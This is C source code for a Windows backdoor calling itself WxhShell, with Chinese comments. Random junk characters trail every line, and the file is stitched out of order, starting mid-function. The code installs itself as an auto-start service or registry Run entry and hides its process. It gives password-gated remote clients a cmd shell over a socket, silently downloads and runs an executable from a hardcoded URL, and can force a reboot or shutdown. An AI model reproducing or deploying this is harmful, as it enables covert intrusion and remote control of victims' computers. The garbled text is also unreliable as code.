    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `!t-$i  
    else { ~|9VVeE  
    closesocket(wsh); #CPLvg#  
    ExitThread(0); 7UY4* j|[C  
    } 5[g\.yi2_]  
    break; ' Ut4=@)  
    } rf-yUH]&S  
  // 获取shell }NoP(&ebz*  
  case 's': { hf]m'5pb  
    CmdShell(wsh); gyD;kn\CP  
    closesocket(wsh); i(pHJP:a:  
    ExitThread(0); 2,dWD<h  
    break; T\n6^@.>  
  } E_En"r)y  
  // 退出 /2zan}  
  case 'x': { Pw| h`[h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nj0sh"~+  
    CloseIt(wsh); _XT'h;m  
    break; $,2T~1tE  
    } PcEE`.  
  // 离开 4xEw2F  
  case 'q': { mE`qA*=?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SOq:!Qt  
    closesocket(wsh); b~}$Ch3ymW  
    WSACleanup(); |4g0@}nr+W  
    exit(1); $:%E<j 4Dn  
    break; }04mJY[  
        } JLnv O  
  } w8>h6x "  
  } OtoM  
aUzCKX%>C  
  // 提示信息 bq9w@O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tH)j EY9  
} }rI:pp^KS  
  } p09p/  
'Gqv`rq&  
  return; C&>*~  
} @`dg:P*[  
>xabn*Kq  
// shell模块句柄 #kASy 2t  
int CmdShell(SOCKET sock) V0v,s^\H  
{ @U18Dj[  
STARTUPINFO si; BH1h2OEe#  
ZeroMemory(&si,sizeof(si)); w^ut,`yW R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oR&z,%0wMK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jtlRom}  
PROCESS_INFORMATION ProcessInfo; J6n>{iE  
char cmdline[]="cmd"; T"[]'|'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $GFR7YC 7  
  return 0; fE+zA)KX  
} 7n6g;8xE  
k1q/L|')  
// 自身启动模式 oDV6[e  
int StartFromService(void) ;o3gR4u_L  
{ @]vY[O!&;  
typedef struct EM*I%|n@m  
{ P2a5<#_|  
  DWORD ExitStatus; nq]6S$3 6  
  DWORD PebBaseAddress; <- !1`@l>  
  DWORD AffinityMask; #M16qOEw  
  DWORD BasePriority; X8Q'*  
  ULONG UniqueProcessId; LXK!4(xaW  
  ULONG InheritedFromUniqueProcessId; 8s$6R|ti  
}   PROCESS_BASIC_INFORMATION; |g)C `k  
d(o=)!p  
PROCNTQSIP NtQueryInformationProcess; A}SGw.3  
0o=HOCL\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^" X.aksA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U_(>eVi7F  
qU7_%Z  
  HANDLE             hProcess; iCF},W+  
  PROCESS_BASIC_INFORMATION pbi; Y@0'0   
SOhM6/ID2/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ? +L,  
  if(NULL == hInst ) return 0; iyl i/3|  
RkYn6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :.,9}\LK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3NtUB;!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cx$IWQf2  
Dz: +. @k  
  if (!NtQueryInformationProcess) return 0; &)mZ~cPU3  
>MHlrSH2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mkn1LzE|F  
  if(!hProcess) return 0; j4?Qd0z  
`y3'v]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :J`@@H  
Wr%ov6:  
  CloseHandle(hProcess);  f\<r1  
R J{$`d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ixu*@{<Z(  
if(hProcess==NULL) return 0; ;Z d_2CZ  
N $) G 8  
HMODULE hMod; W5 F\e[Ax5  
char procName[255]; "Gp[.=.z?  
unsigned long cbNeeded; 985F(r  
HE,L8S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K:a8}w>Up  
sQa;l]O:NC  
  CloseHandle(hProcess); :3n@].  
y ("WnVI  
if(strstr(procName,"services")) return 1; // 以服务启动 ;>v.(0FE6  
/h0bBP  
  return 0; // 注册表启动 k{SGbC1=VK  
} f1MRmp-f'  
TVD~Ix  
// 主模块 sllT1%?  
int StartWxhshell(LPSTR lpCmdLine) "l56?@-x  
{ `N *:,8j  
  SOCKET wsl; A)&FcMO*z  
BOOL val=TRUE; s$R /!,c  
  int port=0; [Cl0Kw.LD  
  struct sockaddr_in door; JpC'(N  
7y'":1  
  if(wscfg.ws_autoins) Install(); >ou= }/<  
?{S>%P A_B  
port=atoi(lpCmdLine); .>B'oD  
2!^=G=H/  
if(port<=0) port=wscfg.ws_port; 8%7%[WC#  
&:&89<C'  
  WSADATA data; ?bB>}:~j)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *p}mn#ru-  
gF{ehU%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v|%41xOsr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bmv8nal<Y  
  door.sin_family = AF_INET; !%G]~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :(n<c  
  door.sin_port = htons(port); I}4 PB+yu  
=Z^5'h~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y@+Rb  
closesocket(wsl); ;5j|B|v  
return 1; j>\c > U  
} r<UVO$N  
AHb_BgOU*  
  if(listen(wsl,2) == INVALID_SOCKET) { VL9wRu;  
closesocket(wsl); {]HiTpn  
return 1; _ Op%H)  
} &kg^g%%  
  Wxhshell(wsl); _!03;zrO  
  WSACleanup(); kv:9Fm\$  
,n/]ALz>~  
return 0;  ,&hv x  
V.GM$  
} !=dz^f.{  
G?W:O{n3  
// 以NT服务方式启动 Rd#R}yA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y!<m8\  
{ W{}$c`,R  
DWORD   status = 0; P1eSx#3bR  
  DWORD   specificError = 0xfffffff; 9F/I",EA  
u\*9\ G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QtW9!p7(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !#KKJ`uB"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ku]5sd >b  
  serviceStatus.dwWin32ExitCode     = 0; cc[(w #K  
  serviceStatus.dwServiceSpecificExitCode = 0; ]Y\$U<YjO  
  serviceStatus.dwCheckPoint       = 0; .@VZ3"  
  serviceStatus.dwWaitHint       = 0; !mNst$-H4  
24jf`1XFW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W0gS>L_  
  if (hServiceStatusHandle==0) return; I=0c\ U}  
\OwF!~&  
status = GetLastError(); 9M96$i`P  
  if (status!=NO_ERROR) nGF +a[Z  
{ (T%F^s5D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LZykc c9g  
    serviceStatus.dwCheckPoint       = 0; ")Fd'&58  
    serviceStatus.dwWaitHint       = 0; ?@b6(f xX  
    serviceStatus.dwWin32ExitCode     = status; h* S"]ye5  
    serviceStatus.dwServiceSpecificExitCode = specificError; -n _Y.~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LDlYLs F9  
    return; rqamBm 5  
  } Q0xO;20  
]Ur/DRNS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P7drUiX  
  serviceStatus.dwCheckPoint       = 0; l]]NVBA])  
  serviceStatus.dwWaitHint       = 0; fs! dI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l~r;G rd/5  
} C]L)nCOBX  
hfwJZ\_60  
// 处理NT服务事件,比如:启动、停止 )CFJ Xc:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >XgoN\w  
{ P6gkbtg  
switch(fdwControl) .(@=L1C<}J  
{ UsE\p9mCuV  
case SERVICE_CONTROL_STOP: 7hk)I`o65  
  serviceStatus.dwWin32ExitCode = 0; |bnd92fvks  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]v ${k  
  serviceStatus.dwCheckPoint   = 0; A({czHLhN5  
  serviceStatus.dwWaitHint     = 0; 7'\. Q J!<  
  { 'Ea3(OsuXn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fCY|iO0.t  
  } #w{`6}p  
  return; I{IB>j}8  
case SERVICE_CONTROL_PAUSE: '.|}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1w>[&#7  
  break; y3o q{Z>  
case SERVICE_CONTROL_CONTINUE: |J&\/8Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; - nb U5o  
  break; "hyfo,r  
case SERVICE_CONTROL_INTERROGATE: tiK M+ ;C  
  break; bQaRl=:[:  
}; 6N@=*0kh-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *l_a=[<[  
} '}hSh  
\RDN_Z  
// 标准应用程序主函数 u3h(EAH>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g0,~|.  
{ ,cxqr3 o  
(qA F2&  
// 获取操作系统版本 db )2>  
OsIsNt=GetOsVer(); =D(a~8&,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6qZQ20h  
392V\qtS  
  // 从命令行安装 7?fgcb3  
  if(strpbrk(lpCmdLine,"iI")) Install(); zdP?HJ=F  
e9p/y8gC  
  // 下载执行文件 : /5+p>Ep}  
if(wscfg.ws_downexe) { MfQ0O?oBp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c&D+=   
  WinExec(wscfg.ws_filenam,SW_HIDE); <exCK*G  
} voZaJ2ho/O  
k=)U  
if(!OsIsNt) { Sm/8VSY  
// 如果时win9x,隐藏进程并且设置为注册表启动 BbB3#/g  
HideProc(); 0]>bNbLB"  
StartWxhshell(lpCmdLine); ~A0AB `7  
} =-dnniKW4  
else DFr$2Y3H  
  if(StartFromService()) Zr}>>aIJ]k  
  // 以服务方式启动 amsl>wc!  
  StartServiceCtrlDispatcher(DispatchTable); 11PL1zzH  
else Vz mlKVE  
  // 普通方式启动 ]y OM  
  StartWxhshell(lpCmdLine); 2^XmtT  
u$w.'lK  
return 0; @5Z|e  
} {V[xBL <  
|]kiH^Ap  
W 8<QgpV*  
,.Gp_BI  
=========================================== ir^d7CV,   
'bfxQ76@sa  
i}T* | P  
5zS%F: 3  
M.g2y&8  
>Iij,J5i  
" v8-szW).  
UB@(r86 d  
#include <stdio.h> J.~@j;[2  
#include <string.h> }Z <I%GT  
#include <windows.h> 1^k}GXsWmE  
#include <winsock2.h> >D=X Tgqqq  
#include <winsvc.h> h x^@aI  
#include <urlmon.h> +HE,Q6-A  
Pr>$m{ Z  
#pragma comment (lib, "Ws2_32.lib") m#h`iW  
#pragma comment (lib, "urlmon.lib") $I5|rB/4?  
MKtI 3vi?  
#define MAX_USER   100 // 最大客户端连接数 51}C`j|V3{  
#define BUF_SOCK   200 // sock buffer *42KLns  
#define KEY_BUFF   255 // 输入 buffer {:cGt2*~^  
$ (&uaDYv  
#define REBOOT     0   // 重启 Z{3=.z{&^=  
#define SHUTDOWN   1   // 关机 y95  #t  
eHx {[J?  
#define DEF_PORT   5000 // 监听端口 IiKU =^~w  
B)k/]vz)*D  
#define REG_LEN     16   // 注册表键长度  !5 S#  
#define SVC_LEN     80   // NT服务名长度 e\z,^  
0Y`+L6&UX  
// 从dll定义API |f}wOkl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); []OS p&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wgSFL6Ei  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T #E{d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }r04*P(  
R1*&rjB  
// wxhshell配置信息 5!Er ;e  
struct WSCFG { K%9!1'  
  int ws_port;         // 监听端口 =YM  
  char ws_passstr[REG_LEN]; // 口令 ,>6mc=p  
  int ws_autoins;       // 安装标记, 1=yes 0=no \1R*M  
  char ws_regname[REG_LEN]; // 注册表键名 Xk:x=4u&  
  char ws_svcname[REG_LEN]; // 服务名 hQ3@CfW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $jk4H+H-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i% 0 qN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ps! \k%FUl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P w6l'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^cd bM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YloE4PAY7  
.yDR2 sW  
}; CS%ut-K<5M  
ZrYRLg  
// default Wxhshell configuration /p-k'387  
struct WSCFG wscfg={DEF_PORT, dnANlNMk?  
    "xuhuanlingzhe", xfUV'=~(  
    1, ILG&l<!E  
    "Wxhshell", BDp(&=ktq  
    "Wxhshell", axG%@5  
            "WxhShell Service", NrcV%-+u%  
    "Wrsky Windows CmdShell Service", lyowH{.N"3  
    "Please Input Your Password: ", <MxA;A  
  1, Y}vV.q  
  "http://www.wrsky.com/wxhshell.exe", `34+~;;Jh  
  "Wxhshell.exe" +o.#']}Pl  
    }; 0>,i] |Y  
Kj"n Id)  
// 消息定义模块 iR4"I7J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TbqtT_{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ='#7yVVcs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \hJLa  
char *msg_ws_ext="\n\rExit."; M7DoAS{6e  
char *msg_ws_end="\n\rQuit."; rp ]H&5.*  
char *msg_ws_boot="\n\rReboot..."; *R&77 o7  
char *msg_ws_poff="\n\rShutdown..."; Vl7V?`_4  
char *msg_ws_down="\n\rSave to "; I/h(*~/  
JWt@vf~  
char *msg_ws_err="\n\rErr!"; 8yr-X!eF  
char *msg_ws_ok="\n\rOK!"; tjZS:@3 Z  
%*L8W*V  
char ExeFile[MAX_PATH]; ,[n=PJVw/  
int nUser = 0; zPvTRW~H\  
HANDLE handles[MAX_USER]; zll?/|%  
int OsIsNt; 0s4]eEXH  
b^Do[o}5  
SERVICE_STATUS       serviceStatus; DUf . F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %)}_OXWf:  
ZA4sEVHW  
// 函数声明 ^]LWcJ?"^!  
int Install(void); S{cK~sZj  
int Uninstall(void); 'pAq;2AA  
int DownloadFile(char *sURL, SOCKET wsh); Ud-c+, xX  
int Boot(int flag); k%RQf0`T  
void HideProc(void); WAr6Dv,8  
int GetOsVer(void); o hPXwp?]  
int Wxhshell(SOCKET wsl); C-2#-{<  
void TalkWithClient(void *cs); eET1f8 B=L  
int CmdShell(SOCKET sock); 5IG#-Q(6sp  
int StartFromService(void); o>M&C X+j$  
int StartWxhshell(LPSTR lpCmdLine); `yXHb  
$nthMx$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N[=R$1\Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q_6 <}2m,U  
K`R  
// 数据结构和表定义 S?H qrf7<  
SERVICE_TABLE_ENTRY DispatchTable[] = Yu9(qRK  
{ c"'JMq  
{wscfg.ws_svcname, NTServiceMain}, $+ \JT/eG9  
{NULL, NULL} ;;17 #T2  
}; ds+0y;vc  
=sXk,I;  
// 自我安装 ]gb?3a}A  
int Install(void) uQkFFWS  
{ 0Q/BTT%X  
  char svExeFile[MAX_PATH]; uY )|   
  HKEY key; JOq&(AZe  
  strcpy(svExeFile,ExeFile); 0bIhP,4&  
grCz@i  
// 如果是win9x系统,修改注册表设为自启动 CwzDkr&QC_  
if(!OsIsNt) { cZ/VMQEr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;#2yF34gv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2K(zYv54  
  RegCloseKey(key); p\|*ff0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LwCf}4u"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M[dJQ (  
  RegCloseKey(key); _K>YB>W}7  
  return 0; cr{f*U6`  
    } ^X?3e1om  
  } c(S66lp  
} _%aJ/Y0Cy  
else { P_c9v/  
n ^C"v6X  
// 如果是NT以上系统,安装为系统服务 _E[)_yH'-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y}lqF8s  
if (schSCManager!=0) 8z"*CJ@  
{ *+cW)klm  
  SC_HANDLE schService = CreateService &14Er,K  
  ( r7:4| 6E  
  schSCManager, bu r0?q  
  wscfg.ws_svcname, &qFy$`"  
  wscfg.ws_svcdisp, $]]|#}J  
  SERVICE_ALL_ACCESS, <bOi}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $~.'Tnk)  
  SERVICE_AUTO_START, |rk4,NG.  
  SERVICE_ERROR_NORMAL, -6>T0-  
  svExeFile, r`CsR0[  
  NULL, OM7EmMa;  
  NULL, u"1Zv!  
  NULL, Hk|wO:7Be  
  NULL, g~$cnU  
  NULL GZqy.AE,  
  ); 4] I7t  
  if (schService!=0) ??`z W  
  { vq JjAls  
  CloseServiceHandle(schService); ;l=ZW  
  CloseServiceHandle(schSCManager); +(| ,Ke  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w+3-j  
  strcat(svExeFile,wscfg.ws_svcname); v|u[BmA)*k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zH+a*R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3At%TA:  
  RegCloseKey(key); },G5!3  
  return 0; g flu!C6  
    } rXu^]CK *G  
  } .~dNzonq  
  CloseServiceHandle(schSCManager); ;JQ;LbEn  
} qm=N@@R&  
} EAXbbcV  
1$ C\ `  
return 1; \B~}s}  
} Qc]Ki3ls  
u IGeSd5B  
// 自我卸载 dBMr%6tz  
int Uninstall(void) =6:>C9  
{ J PK( S~  
  HKEY key; <C,lHt  
 - }9a%  
if(!OsIsNt) { &C=[D_h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^8eu+E.{  
  RegDeleteValue(key,wscfg.ws_regname); avo[~ `.  
  RegCloseKey(key); RwptFO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jLG Q^v"  
  RegDeleteValue(key,wscfg.ws_regname); a$ FO5%o  
  RegCloseKey(key); VsM~$ )  
  return 0; V t@]  
  } 0'0GAh2  
} I7q}<"`  
} tjTnFP/=  
else { pw5uH  
%ryYa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YRm6~c  
if (schSCManager!=0) E1-BB  
{ Ryrvu1 k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V*w~Sr%  
  if (schService!=0) #?EmC]N7  
  { 48Z0aA~+  
  if(DeleteService(schService)!=0) { m]#oZVngy  
  CloseServiceHandle(schService); Tweku}D7  
  CloseServiceHandle(schSCManager); w5uOkz #  
  return 0; (TJ )Y7E  
  } dGY:?mf&  
  CloseServiceHandle(schService); !O }^Y  
  } a08`h.dyN  
  CloseServiceHandle(schSCManager); V 0M&D,  
} I c 2R\}q  
} Z0I>PBL@l  
;Wu6f"+Y#  
return 1; 8\ { 1y:|  
} _gl7Ma  
yTb#V"eR  
// 从指定url下载文件 JcDcYB  
int DownloadFile(char *sURL, SOCKET wsh) 1Vy8TV3D  
{ Yy 3g7!K5E  
  HRESULT hr; osdl dS  
char seps[]= "/"; :7[20n}w  
char *token; q71~Y:7f  
char *file; jZ\a:K?  
char myURL[MAX_PATH]; 5.3=2/  
char myFILE[MAX_PATH]; 84eqT[I'  
T z?0E"yx  
strcpy(myURL,sURL); 70BLd(?  
  token=strtok(myURL,seps); 7uW=fkxT  
  while(token!=NULL) +<1MY'>y  
  { sOUQd-!"  
    file=token; nWz7$O  
  token=strtok(NULL,seps); ;S.o` z1GI  
  } k zuI<DW  
Ufr,6IX  
GetCurrentDirectory(MAX_PATH,myFILE); s7> a  
strcat(myFILE, "\\"); A4>j4\A[M  
strcat(myFILE, file); |s$w i>7l  
  send(wsh,myFILE,strlen(myFILE),0); P/XCaj3a[  
send(wsh,"...",3,0); ' V#$PZx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fS#I?!*}  
  if(hr==S_OK) 6( 0ME$  
return 0; j|Hyv{sM  
else $4ZjNN@  
return 1; 9 m`VIB  
]]^eIjg>a6  
} p]E\!/  
'BO MFp7c  
// 系统电源模块 bc}BQ|Q  
int Boot(int flag) eN{ewn#0.  
{ { usv*Cm  
  HANDLE hToken; \\UOpl  
  TOKEN_PRIVILEGES tkp; =d M'n}@U  
&b:SDl6  
  if(OsIsNt) {  :qe.*\ c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); si=m5$V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z<u*I@;  
    tkp.PrivilegeCount = 1; Xdtyer%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D(&XmC[\Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rctGa ,l  
if(flag==REBOOT) { :.bBV]6q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tR`^c8gD  
  return 0; F9PXQD(  
} =Y`e?\#`  
else { Lsb`,:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FX,kmre3  
  return 0; h51)kN:  
} O@-|_N*;K  
  } Sxzt|{  
  else { { d|lN:B  
if(flag==REBOOT) { W|-<ekH_u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p%ZOLoc)Y  
  return 0; 5BRZpCb  
} ' |Ia-RbX  
else { e` {F7rd:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }LTyXo  
  return 0; T7qE 2  
} O'[r,|Q{  
} GA+#'R  
8RaRXnJ  
return 1; LzGSN  
} T6M=BkcP  
9L7jYy=A#  
// win9x进程隐藏模块 l:- <CbG  
void HideProc(void) ~;/}D0k$x  
{ .hVB)@/  
"l[ c/q[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PDNbhUAV  
  if ( hKernel != NULL ) 4RyQ^vL  
  { U]}f]GK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wGhy"1g#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PSREQK@}E  
    FreeLibrary(hKernel); 1.IEs:(;  
  } HyGu3  
T7# }& >  
return; 7;r Jr&.)  
} X]+z:!  
"rU 2g  
// 获取操作系统版本 ZWXA%u7V  
int GetOsVer(void) V_"UiN"o  
{ !Y^3%B%  
  OSVERSIONINFO winfo; Hkzx(yTi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '1vm]+oM  
  GetVersionEx(&winfo); Q|7l!YTzVu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0f9*=c  
  return 1; Cc&SHG*R  
  else Gc*p%2c  
  return 0; |{ TVW  
} -F`uz,wZ  
K.r "KxCm|  
// 客户端句柄模块 SbK6o:[  
int Wxhshell(SOCKET wsl) =QS%D*.|D  
{ oc PM zq-  
  SOCKET wsh; IrMxdF~c  
  struct sockaddr_in client; S pIdw0  
  DWORD myID; m TgsvC  
05s{Z.aK  
  while(nUser<MAX_USER) OKV/=]GS  
{ kO/]mNLG  
  int nSize=sizeof(client); ~sMEfY,p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^t}8E2mq  
  if(wsh==INVALID_SOCKET) return 1; RH~I/4e  
H7CWAQPfj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e+O502]  
if(handles[nUser]==0) :R1F\FT*  
  closesocket(wsh); J. $U_k  
else 2F#DJN#  
  nUser++; ^?R8>97_?  
  } 8fWk C<f}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X[J?  
vM?jm! nd  
  return 0; "1z#6vw5a  
} lQKq{WLFx.  
Lhmb= @  
// 关闭 socket h[>Puoz  
void CloseIt(SOCKET wsh) nA#N,^Rr  
{ <`")Zxf+  
closesocket(wsh); &`I7aP|  
nUser--; 4Qj@:b  
ExitThread(0); ):Pz sz7  
} S1U>Q~ZPA  
jg\FD51$  
// 客户端请求句柄 ZW%;"5uVm)  
void TalkWithClient(void *cs) |"aop|  
{ Ef\&3TcQ  
L]wk Ba  
  SOCKET wsh=(SOCKET)cs; &F~97F)A)  
  char pwd[SVC_LEN]; K;lxPM]  
  char cmd[KEY_BUFF]; f^|r*@o  
char chr[1]; j]'ybpMT"  
int i,j; l]~mB~  
71G\b|5  
  while (nUser < MAX_USER) { ^*'fDP*  
0JU+v:J[=  
if(wscfg.ws_passstr) { $ #bWh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iq<nuO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H8V@KB  
  //ZeroMemory(pwd,KEY_BUFF); c"oJcp  
      i=0; 89P'WFOFK  
  while(i<SVC_LEN) { Aa}Nr5{O|  
Dio)orc  
  // 设置超时 aSt:G*a"  
  fd_set FdRead; l?O%yf`s  
  struct timeval TimeOut; {4>N2mP{M  
  FD_ZERO(&FdRead); Xk`'m[  
  FD_SET(wsh,&FdRead); {xRO.699  
  TimeOut.tv_sec=8; Q?V'3ZZF!  
  TimeOut.tv_usec=0; tqXCj}mR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /3j3'~0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s[Whg!2~  
*]*0uo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <2t%<<%  
  pwd=chr[0]; *:"p*qV*  
  if(chr[0]==0xd || chr[0]==0xa) { ,m[#<}xXA  
  pwd=0; Bmv5yc+;  
  break; |h-e+Wh1  
  } @+yjt'B  
  i++; hxkwT  
    } ( 9(NP_s  
 :X 9_~  
  // 如果是非法用户,关闭 socket $f AZ^   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?X@uR5?{  
} @dc4v_9  
\[<8AV"E-'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n'8 3P%x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `{H!V~42  
Ntlbn&lc;D  
while(1) { $_O;yz  
0?*":o30  
  ZeroMemory(cmd,KEY_BUFF); d@ef+-  
OZ4%6/  
      // 自动支持客户端 telnet标准   `>u^Pm  
  j=0; oT i$@q  
  while(j<KEY_BUFF) { ?0?+~0sI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^?S lM  
  cmd[j]=chr[0]; thSXri?kl  
  if(chr[0]==0xa || chr[0]==0xd) { V|)nU sU  
  cmd[j]=0; Y2W{?<99  
  break; #B5-3CwB  
  } ONMR2J(  
  j++; "10.,QK  
    } 'o|=_0-7W  
=8A L>:_  
  // 下载文件 <])kO`+G  
  if(strstr(cmd,"http://")) { %afz{a5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )j}v3@EM5  
  if(DownloadFile(cmd,wsh)) 8TCbEPS@Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZM_-g4[H  
  else FDTC?Ii O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $k^& X `  
  } +r$VrNVs  
  else { y$+_9VzYB  
~;@\9oPpz%  
    switch(cmd[0]) { yAQ)/u[|  
  G$t:#2  
  // 帮助 R<Ct{f!  
  case '?': { @+hO,WXN  
